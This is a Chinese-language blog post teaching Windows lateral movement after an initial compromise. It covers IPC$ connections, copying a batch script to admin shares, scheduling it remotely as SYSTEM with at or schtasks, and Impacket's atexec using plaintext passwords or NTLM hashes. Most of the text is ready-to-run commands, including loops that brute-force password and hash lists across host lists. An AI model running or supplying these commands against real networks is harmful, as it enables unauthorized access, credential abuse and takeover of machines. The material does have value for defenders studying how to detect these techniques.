横向渗透之 [at] & [schtasks]
? Lateral-Movement ? ? Windows ? ? Pth ?    1810    0    0

    在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令及相关工具的使用,在已知目标系统的用户明文密码或者hash的基础上,直接可以在远程主机上执行命令。

 

一、利用流程

    1. 建立IPC链接到目标主机

    2. 拷贝要执行的命令脚本到目标主机

    3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

    4. 删除IPC链接

 

二、IPC

    1. IPC简介及使用

        IPC是专用管道,可以实现对远程计算机的访问,需要使用目标系统用户的账号密码,使用139、445端口。创建IPC链接可以使用如下的命令:

net use \\server\ipc$"password" /user:username # 链接工作组机器
net use \\server\ipc$"password" /user:domain\username # 链接域内机器

其中ipc$可以换成具体的盘符或者路径,如D$、C:\\Windows\Temp……IPC的使用如下:

dir \\192.168.72.128\C$\                # 查看文件列表
copy  \\192.168.72.128\C$\1.bat  1.bat  # 下载文件
copy  1.bat  \\192.168.72.128\C$\1.bat  # 上传文件
net use \\192.168.72.128\C$\1.bat /del  # 删除IPC
net share ipc$ | admin$                 # 开启逻辑共享(C$、D$、E$……)或者 系统共享(ADMIN$)
net view 192.168.72.128                 # 查看对方共享

 注意:如果路径中出现空格,用双引号引起来如:dir \\server\C$\Windows\"Top secret.rar"。如果是用ip建立的ipc,必须用ip运行上述命令,如果用的计算机名建立的ipc,也必须用计算机名运行上述的命令。

 

    2. 建立IPC常见的错误代码

    (1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

    (2)51:网络问题,Windows 无法找到网络路径

    (3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题

    (4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$

    (5)1219:提供的凭据和已经存在的凭据集冲突,说明已经建立了IPC$,需要先删除

    (6)1326:账号密码错误

    (7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况

    (8)2242:用户密码过期,目标有账号策略,强制定期更改密码

 

    3. 建立IPC失败的原因

    (1)目标系统不是NT或以上的操作系统

    (2)对方没有打开IPC$共享

    (3)对方未开启139、445端口,或者被防火墙屏蔽

    (4)输出命令、账号密码有错误

 

 三、at&schtasks使用

    1. at 利用过程如下:

net use \\192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \\192.168.1.5\C$\Inetpub      # 拷贝执行脚本到目标机器
net time \\192.168.1.5                     # 查看目标时间,可能本地时间与目标时间不符
at \\192.168.1.5 21:52 c:\Inetpub\add.bat    # 添加计划任务
at \\192.168.1.5                           # 查看任务列表

需要注意的是:Windows Server 2012 以后的版本没有at命令,只有schtasks命令

    2. schtasks利用过程如下:

net use \\192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \\192.168.1.5\C$\Inetpub      # 拷贝执行脚本到目标机器
net time \\192.168.1.5                     # 查看目标时间,可能本地时间与目标时间不符
schtasks /create /s 192.168.1.5 /u administrator /p Passw0rd /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\Inetpub\add.bat /F
schtasks /run /s 192.168.1.2 /u administrator /p Passw0rd /tn adduser /i
(4)schtasks /delete /s 192.168.1.2 /u administrator/p Passw0rd /tn adduser /f  # 删除计划任务

其中/s指定远程机器名或ip地址;/ru指定运行任务的用户权限,这里为SYSTEM;/tn是任务名称;/sc是任务运行频率,这里指定为每天运行;/tr指定运行的文件;/F表示如果指定的任务已经存在,则强制创建任务并抑制警告;/i表示立即运行,不需要和时间挂钩,可以立即执行任务。

 


 

 

 

四、工具利用

        atexec.exe:可以使用用户明文或者hash的方式,在指定的目标上执行命令并回显,使用方法如下:

atexec.exe ./administrator:Passw0rd@10.11.1.52 "whoami /user"
atexec.exe domain.com/user:Passw0rd@10.11.1.52 "whoami /user"
atexec.exe -hashes :518B98AD4178A53695DC997AA02D455C ./administrator@10.11.1.52 "whoami /user"

需要注意的是:该工具是一个半交互的工具,适用于webshell下,socks代理下。

        在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量读取进行测试:

FOR /F %%i in (ips.txt) do atexec.exe -hashes :HASH ./administrator@%%i  whoami #利用hash验证主机列表ips.txt
FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76  whoami #指定主机进行用户hash列表(hashes.txt)爆破
FOR /F %%i in (passwords.txt) do atexec.exe  ./administrator:%%i@192.168.3.76  whoami #指定主机进行明文密码列表(passwords.txt)爆破
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i  whoami  # 利用明文密码验证主机列表ips.txt

 

PS:上面该方法是从一个公众号上学习到的,具体链接是哪个不清楚了,如有侵犯哪位朋友,请及时与我联系。

 

 

 

觉得不错,点个赞?
Sign in to leave a comment.
No Leanote account ? Sign up now.
0 条评论
文章目录